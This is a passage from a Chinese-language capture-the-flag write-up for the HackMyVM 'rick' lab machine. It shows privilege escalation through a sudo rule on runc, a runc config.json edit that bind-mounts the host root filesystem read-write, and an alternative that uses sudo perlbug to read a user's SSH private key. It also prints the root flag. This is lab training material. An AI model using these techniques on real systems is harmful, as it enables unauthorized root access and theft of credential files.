    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rick may run the following commands on rick:
    (ALL : ALL) NOPASSWD: /usr/sbin/runc
rick@rick:/tmp$ sudo /usr/sbin/runc run demo
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

成功！

其他收获

perlbug提权方案

perlbug那里也看到师傅采用以下方法进行提权：

morty@rick:/$ sudo -u rick /usr/bin/perlbug -f /home/rick/.ssh/id_rsa
This program provides an easy way to create a message reporting
a bug in the core perl distribution (along with tests or
patches) to the volunteers who maintain perl at
perlbug@perl.org.  To send a thank-you note to perl-
thanks@perl.org instead of a bug report, please run
'perlthanks'.

Please do not use /usr/bin/perlbug to send test messages, test
whether perl works, or to report bugs in perl modules from CPAN.

Suggestions for how to find help using Perl can be found at
http://perldoc.perl.org/perlcommunity.html

First of all, please provide a subject for the message.
This should be a concise description of your bug or problem
which will help the volunteers working to improve perl to
categorize and resolve the issue.  Be as specific and
descriptive as you can. A subject like "perl bug" or "perl
problem" will make it much less likely that your issue gets the
attention it deserves.

Subject: aaa a  # 必须存在空格
Perl's developers may need your email address to contact you for
further information about your issue or to inform you when it is
resolved.  If the default shown is not your email address,
please correct it.

Your address [rick@rick]: # 一路回车一直到Action的时候使用Display显示就行了！

/usr/bin/perlbug can send a copy of this report to your local
perl administrator.  If the address below is wrong, please
correct it, or enter 'none' or 'yourself' to not send a copy.

Local perl administrator [root@localhost]: 

If your bug is about a Perl module rather than a core language
feature, please enter its name here. If it's not, just hit Enter
to skip this question.

Module: 

Please pick a category from the following list:

    core docs install library utilities

Category [core]: 

Please pick a severity from the following list:

    critical high medium low wishlist none

Severity [low]: 

You have finished composing your message. At this point, you have 
a few options. You can:

    * [Se]nd the message to perlbug@perl.org and root@localhost, 
    * [D]isplay the message on the screen,
    * [R]e-edit the message
    * Display or change the message's [su]bject
    * Save the message to a [f]ile to mail at another time
    * [Q]uit without sending a message

Action (Send/Display/Edit/Subject/Save to File): D

This is a bug report for perl from rick@rick,
generated with the help of perlbug 1.41 running under perl 5.28.1.

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---
Flags:
    category=core
    severity=low
---
Site configuration information for perl 5.28.1:

Configured by Debian at Tue Jul 21 19:27:00 UTC 2020.

Summary of my perl5 (revision 5 version 28 subversion 1) configuration:

  Platform:
    osname=linux
    osvers=4.9.0
    archname=i686-linux-gnu-thread-multi-64int
    uname='linux localhost 4.9.0 #1 smp debian 4.9.0 i686 gnulinux '
    config_args='-Dusethreads -Duselargefiles -Dcc=i686-linux-gnu-gcc -Dcpp=i686-linux-gnu-cpp -Dld=i686-linux-gnu-gcc -Dccflags=-DDEBIAN -Wdate-time -D_FORTIFY_SOURCE=2 -g -O2 -fdebug-prefix-map=/build/perl-f1blUn/perl-5.28.1=. -fstack-protector-strong -Wformat -Werror=format-security -Dldflags= -Wl,-z,relro -Dlddlflags=-shared -Wl,-z,relro -Dcccdlflags=-fPIC -Darchname=i686-linux-gnu -Dprefix=/usr -Dprivlib=/usr/share/perl/5.28 -Darchlib=/usr/lib/i386-linux-gnu/perl/5.28 -Dvendorprefix=/usr -Dvendorlib=/usr/share/perl5 -Dvendorarch=/usr/lib/i386-linux-gnu/perl5/5.28 -Dsiteprefix=/usr/local -Dsitelib=/usr/local/share/perl/5.28.1 -Dsitearch=/usr/local/lib/i386-linux-gnu/perl/5.28.1 -Dman1dir=/usr/share/man/man1 -Dman3dir=/usr/share/man/man3 -Dsiteman1dir=/usr/local/man/man1 -Dsiteman3dir=/usr/local/man/man3 -Duse64bitint -Dman1ext=1 -Dman3ext=3perl -Dpager=/usr/bin/sensible-pager -Uafs
-Ud_csh -Ud_ualarm -Uusesfio -Uusenm -Ui_libutil -Ui_xlocale -Uversiononly -DDEBUGGING=-g -Doptimize=-O2 -dEs -Duseshrplib -Dlibperl=libperl.so.5.28.1'
    hint=recommended
    useposix=true
    d_sigaction=define
    useithreads=define
    usemultiplicity=define
    use64bitint=define
    use64bitall=undef
    uselongdouble=undef
    usemymalloc=n
    default_inc_excludes_dot=define
    bincompat5005=undef
  Compiler:
    cc='i686-linux-gnu-gcc'
    ccflags ='-D_REENTRANT -D_GNU_SOURCE -DDEBIAN -fwrapv -fno-strict-aliasing -pipe -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
    optimize='-O2 -g'
    cppflags='-D_REENTRANT -D_GNU_SOURCE -DDEBIAN -fwrapv -fno-strict-aliasing -pipe -I/usr/local/include'
    ccversion=''
    gccversion='8.3.0'
    gccosandvers=''
    intsize=4
    longsize=4
    ptrsize=4
    doublesize=8
    byteorder=12345678
    doublekind=3
    d_longlong=define
    longlongsize=8
    d_longdbl=define
    longdblsize=12
    longdblkind=3
    ivtype='long long'
    ivsize=8
    nvtype='double'
    nvsize=8
    Off_t='off_t'
    lseeksize=8
    alignbytes=4
    prototype=define
  Linker and Libraries:
    ld='i686-linux-gnu-gcc'
    ldflags =' -fstack-protector-strong -L/usr/local/lib'
    libpth=/usr/local/lib /usr/lib/gcc/i686-linux-gnu/8/include-fixed /usr/include/i386-linux-gnu /usr/lib /lib/i386-linux-gnu /lib/../lib /usr/lib/i386-linux-gnu /usr/lib/../lib /lib
    libs=-lgdbm -lgdbm_compat -ldb -ldl -lm -lpthread -lc -lcrypt
    perllibs=-ldl -lm -lpthread -lc -lcrypt
    libc=libc-2.28.so
    so=so
    useshrplib=true
    libperl=libperl.so.5.28
    gnulibc_version='2.28'
  Dynamic Linking:
    dlsrc=dl_dlopen.xs
    dlext=so
    d_dlsymun=undef
    ccdlflags='-Wl,-E'
    cccdlflags='-fPIC'
    lddlflags='-shared -L/usr/local/lib -fstack-protector-strong'

Locally applied patches:
    DEBPKG:debian/cpan_definstalldirs - Provide a sensible INSTALLDIRS default for modules installed from CPAN.
    DEBPKG:debian/db_file_ver - https://bugs.debian.org/340047 Remove overly restrictive DB_File version check.
    DEBPKG:debian/doc_info - Replace generic man(1) instructions with Debian-specific information.
    DEBPKG:debian/enc2xs_inc - https://bugs.debian.org/290336 Tweak enc2xs to follow symlinks and ignore missing @INC directories.
    DEBPKG:debian/errno_ver - https://bugs.debian.org/343351 Remove Errno version check due to upgrade problems with long-running processes.
    DEBPKG:debian/libperl_embed_doc - https://bugs.debian.org/186778 Note that libperl-dev package is required for embedded linking
    DEBPKG:fixes/respect_umask - Respect umask during installation
    DEBPKG:debian/writable_site_dirs - Set umask approproately for site install directories
    DEBPKG:debian/extutils_set_libperl_path - EU:MM: set location of libperl.a under /usr/lib
    DEBPKG:debian/no_packlist_perllocal - Don't install .packlist or perllocal.pod for perl or vendor
    DEBPKG:debian/fakeroot - Postpone LD_LIBRARY_PATH evaluation to the binary targets.
    DEBPKG:debian/instmodsh_doc - Debian policy doesn't install .packlist files for core or vendor.
    DEBPKG:debian/ld_run_path - Remove standard libs from LD_RUN_PATH as per Debian policy.
    DEBPKG:debian/libnet_config_path - Set location of libnet.cfg to /etc/perl/Net as /usr may not be writable.
    DEBPKG:debian/perlivp - https://bugs.debian.org/510895 Make perlivp skip include directories in /usr/local
    DEBPKG:debian/squelch-locale-warnings - https://bugs.debian.org/508764 Squelch locale warnings in Debian package maintainer scripts
    DEBPKG:debian/patchlevel - https://bugs.debian.org/567489 List packaged patches for 5.28.1-6+deb10u1 in patchlevel.h
    DEBPKG:fixes/document_makemaker_ccflags - https://bugs.debian.org/628522 [rt.cpan.org #68613] Document that CCFLAGS should include $Config{ccflags}
    DEBPKG:debian/find_html2text - https://bugs.debian.org/640479 Configure CPAN::Distribution with correct name of html2text
    DEBPKG:debian/perl5db-x-terminal-emulator.patch - https://bugs.debian.org/668490 Invoke x-terminal-emulator rather than xterm in perl5db.pl
    DEBPKG:debian/cpan-missing-site-dirs - https://bugs.debian.org/688842 Fix CPAN::FirstTime defaults with nonexisting site dirs if a parent is writable
    DEBPKG:fixes/memoize_storable_nstore - [rt.cpan.org #77790] https://bugs.debian.org/587650 Memoize::Storable: respect 'nstore' option not respected
    DEBPKG:debian/makemaker-pasthru - https://bugs.debian.org/758471 Pass LD settings through to subdirectories
    DEBPKG:debian/makemaker-manext - https://bugs.debian.org/247370 Make EU::MakeMaker honour MANnEXT settings in generated manpage headers
    DEBPKG:debian/kfreebsd-softupdates - https://bugs.debian.org/796798 Work around Debian Bug#796798
    DEBPKG:fixes/autodie-scope - https://bugs.debian.org/798096 Fix a scoping issue with "no autodie" and the "system" sub
    DEBPKG:fixes/memoize-pod - [rt.cpan.org #89441] Fix POD errors in Memoize
    DEBPKG:debian/hurd-softupdates - https://bugs.debian.org/822735 Fix t/op/stat.t failures on hurd
    DEBPKG:fixes/math_complex_doc_great_circle - https://bugs.debian.org/697567 [rt.cpan.org #114104] Math::Trig: clarify definition of great_circle_midpoint
    DEBPKG:fixes/math_complex_doc_see_also - https://bugs.debian.org/697568 [rt.cpan.org #114105] Math::Trig: add missing SEE ALSO
    DEBPKG:fixes/math_complex_doc_angle_units - https://bugs.debian.org/731505 [rt.cpan.org #114106] Math::Trig: document angle units
    DEBPKG:fixes/cpan_web_link - https://bugs.debian.org/367291 CPAN: Add link to main CPAN web site
    DEBPKG:debian/hppa_op_optimize_workaround - https://bugs.debian.org/838613 Temporarily lower the optimization of op.c on hppa due to gcc-6 problems
    DEBPKG:debian/installman-utf8 - https://bugs.debian.org/840211 Generate man pages with UTF-8 characters
    DEBPKG:fixes/getopt-long-4 - https://bugs.debian.org/864544 [rt.cpan.org #122068] Fix issue #122068.
    DEBPKG:debian/hppa_opmini_optimize_workaround - https://bugs.debian.org/869122 Lower the optimization level of opmini.c on hppa
    DEBPKG:debian/sh4_op_optimize_workaround - https://bugs.debian.org/869373 Also lower the optimization level of op.c and opmini.c on sh4
    DEBPKG:debian/perldoc-pager - https://bugs.debian.org/870340 [rt.cpan.org #120229] Fix perldoc terminal escapes when sensible-pager is less
    DEBPKG:debian/prune_libs - https://bugs.debian.org/128355 Prune the list of libraries wanted to what we actually need.
    DEBPKG:debian/mod_paths - Tweak @INC ordering for Debian
    DEBPKG:debian/configure-regen - https://bugs.debian.org/762638 Regenerate Configure et al. after probe unit changes
    DEBPKG:debian/deprecate-with-apt - https://bugs.debian.org/747628 Point users to Debian packages of deprecated core modules
    DEBPKG:debian/disable-stack-check - https://bugs.debian.org/902779 [perl #133327] Disable debugperl stack extension checks for binary compatibility with perl
    DEBPKG:debian/gdbm-fatal - [perl #133295] https://bugs.debian.org/904005 Temporarily skip GDBM_File fatal.t for gdbm >= 1.15 compatibility
    DEBPKG:fixes/storable-recursion - https://bugs.debian.org/912900 [perl #133326] [120060c] (perl #133326) fix and clarify handling of recurs_sv.
    DEBPKG:fixes/caretx-fallback - https://bugs.debian.org/913347 [perl #133573] [03b94aa] RT#133573: $^X fallback when platform-specific technique fails
    DEBPKG:fixes/eumm-usrmerge - https://bugs.debian.org/913637 Avoid mangling /bin non-perl shebangs on merged-/usr systems
    DEBPKG:fixes/errno-include-path - [6c5080f] [perl #133662] https://bugs.debian.org/875921 Make Errno_pm.PL compatible with /usr/include/<ARCH>/errno.h
    DEBPKG:fixes/kfreebsd-renameat - [a3c63a9] https://bugs.debian.org/912521 [perl #133668] Also work around renameat() kernel bug on GNU/kFreeBSD
    DEBPKG:fixes/time-local-2020 - https://bugs.debian.org/915209 [rt.cpan.org #124787] Fix Time::Local tests
    DEBPKG:fixes/inplace-editing-bugfix/part1 - https://bugs.debian.org/914651 (perl #133659) move argvout cleanup to a new function
    DEBPKG:fixes/inplace-editing-bugfix/part2 - https://bugs.debian.org/914651 (perl #133659) tests for global destruction handling of inplace editing
    DEBPKG:fixes/inplace-editing-bugfix/part3 - https://bugs.debian.org/914651 (perl #133659) make an in-place edit successful if the exit status is zero
    DEBPKG:fixes/fix-manifest-failures - https://bugs.debian.org/914962 Fix t/porting/manifest.t failures when run in a foreign git checkout
    DEBPKG:fixes/pipe-open-bugfix/part1 - [perl #133726] https://bugs.debian.org/916313 Always mark pipe in pipe-open as inherit-on-exec
    DEBPKG:fixes/pipe-open-bugfix/part2 - [perl #133726] https://bugs.debian.org/916313 Always mark pipe in list pipe-open as inherit-on-exec
    DEBPKG:fixes/storable-probing/prereq1 - [3f4cad1] Storable: fix for strawberry build failures:
    DEBPKG:fixes/storable-probing/prereq2 - [perl #133411] [edf639f] (perl #133411) don't try to load Storable with -Dusecrosscompile
    DEBPKG:fixes/storable-probing/disable-probing - https://bugs.debian.org/914133 [perl #133708] [2a0bbd3] (perl #133708) remove build-time probing for stack limits for Storable
    DEBPKG:debian/perlbug-editor - https://bugs.debian.org/922609 Use "editor" as the default perlbug editor, as per Debian policy
    DEBPKG:fixes/posix-mbrlen - [25d7b7a] https://bugs.debian.org/924517 [perl #133928] Fix POSIX::mblen mbstate_t initialization on threaded perls with glibc
    DEBPKG:fixes/CVE-2020-10543 - https://bugs.debian.org/962005 regcomp.c: Prevent integer overflow from nested regex quantifiers.
    DEBPKG:fixes/CVE-2020-10878 - https://bugs.debian.org/962005 study_chunk: extract rck_elide_nothing
    DEBPKG:fixes/CVE-2020-12723 - https://bugs.debian.org/962005 study_chunk: avoid mutating regexp program within GOSUB
    DEBPKG:fixes/io-socket-ip-nov4 - https://bugs.debian.org/962019 Fix test failures in IO::Socket::IP with an IPv6-only host

---
@INC for perl 5.28.1:
    /etc/perl
    /usr/local/lib/i386-linux-gnu/perl/5.28.1
    /usr/local/share/perl/5.28.1
    /usr/lib/i386-linux-gnu/perl5/5.28
    /usr/share/perl5
    /usr/lib/i386-linux-gnu/perl/5.28
    /usr/share/perl/5.28
    /usr/local/lib/site_perl
    /usr/lib/i386-linux-gnu/perl-base

---
Environment for perl 5.28.1:
    HOME=/home/rick
    LANG=en_US.UTF-8
    LANGUAGE (unset)
    LD_LIBRARY_PATH (unset)
    LOGDIR (unset)
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    PERL_BADLANG (unset)
    SHELL=/bin/bash

You have finished composing your message. At this point, you have 
a few options. You can:

    * [Se]nd the message to perlbug@perl.org and root@localhost, 
    * [D]isplay the message on the screen,
    * [R]e-edit the message
    * Display or change the message's [su]bject
    * Save the message to a [f]ile to mail at another time
    * [Q]uit without sending a message

Action (Send/Display/Edit/Subject/Save to File):

提权root方案修正

虽然进入了rootshell，但是只是只读文件系统，参考wp1中，rpj7指出，只要修改一个内容就可以使之变为可写的!

# ls -la
total 32
drwx------  5 root root 4096 Nov 24  2021 .
drwxr-xr-x 18 root root 4096 Nov 24  2021 ..
lrwxrwxrwx  1 root root    9 Nov 24  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Nov 24  2021 .gnupg
drwxr-xr-x  3 root root 4096 Aug 19  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Nov 24  2021 .ssh
-rwx------  1 root root   36 Nov 24  2021 root.txt
# cat root.txt
256fdda9b4e714bf9f38a92750debf70  -
# pwd
/root
# touch aaa
touch: cannot touch 'aaa': Read-only file system

修改为：

"root": {
                "path": "rootfs",
                "readonly": false            # 默认为 true
},
rick@rick:/tmp$ vim config.json 
rick@rick:/tmp$ diff config.json /home/rick/config.json 
55c55
<               "readonly": false
---
>               "readonly": true
65,74d64
<     "type": "bind",
<     "source": "/",
<     "destination": "/",
<     "options": [
<         "rbind",
<         "rw",
<         "rprivate"
<     ]
< },
<               {
188c178
< }
---
> }
\ No newline at end of file

尝试再次进行提权，看看能不能进行修改了！

rick@rick:/tmp$ sudo /usr/sbin/runc run demo
# cd ~
# pwd
/root
# ls -la
total 32
drwx------  5 root root 4096 Nov 24  2021 .
drwxr-xr-x 18 root root 4096 Nov 24  2021 ..
lrwxrwxrwx  1 root root    9 Nov 24  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Nov 24  2021 .gnupg
drwxr-xr-x  3 root root 4096 Aug 19  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Nov 24  2021 .ssh
-rwx------  1 root root   36 Nov 24  2021 root.txt
# touch whoami
# ls -la
total 32
drwx------  5 root root 4096 Jul 16 04:21 .
drwxr-xr-x 18 root root 4096 Nov 24  2021 ..
lrwxrwxrwx  1 root root    9 Nov 24  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Nov 24  2021 .gnupg
drwxr-xr-x  3 root root 4096 Aug 19  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Nov 24  2021 .ssh
-rwx------  1 root root   36 Nov 24  2021 root.txt
-rw-r--r--  1 root root    0 Jul 16 04:21 whoami

发现可以进行修改了！！！

参考

https://28right.blogspot.com/2021/12/hackmyvm-rick.html

https://mp.weixin.qq.com/s?__biz=MzAwMjczNDMyNw==&mid=2648181088&idx=1&sn=c164f1d714f24c6433bd03da49d896ed&chksm=82e948f8b59ec1eebd597a3a678cbbfa1382e91a1b339ab1c6c74ae2cf49a35622beb10f63a6&token=1576642971&lang=zh_CN#rd

https://www.bilibili.com/video/BV1wt421776J/

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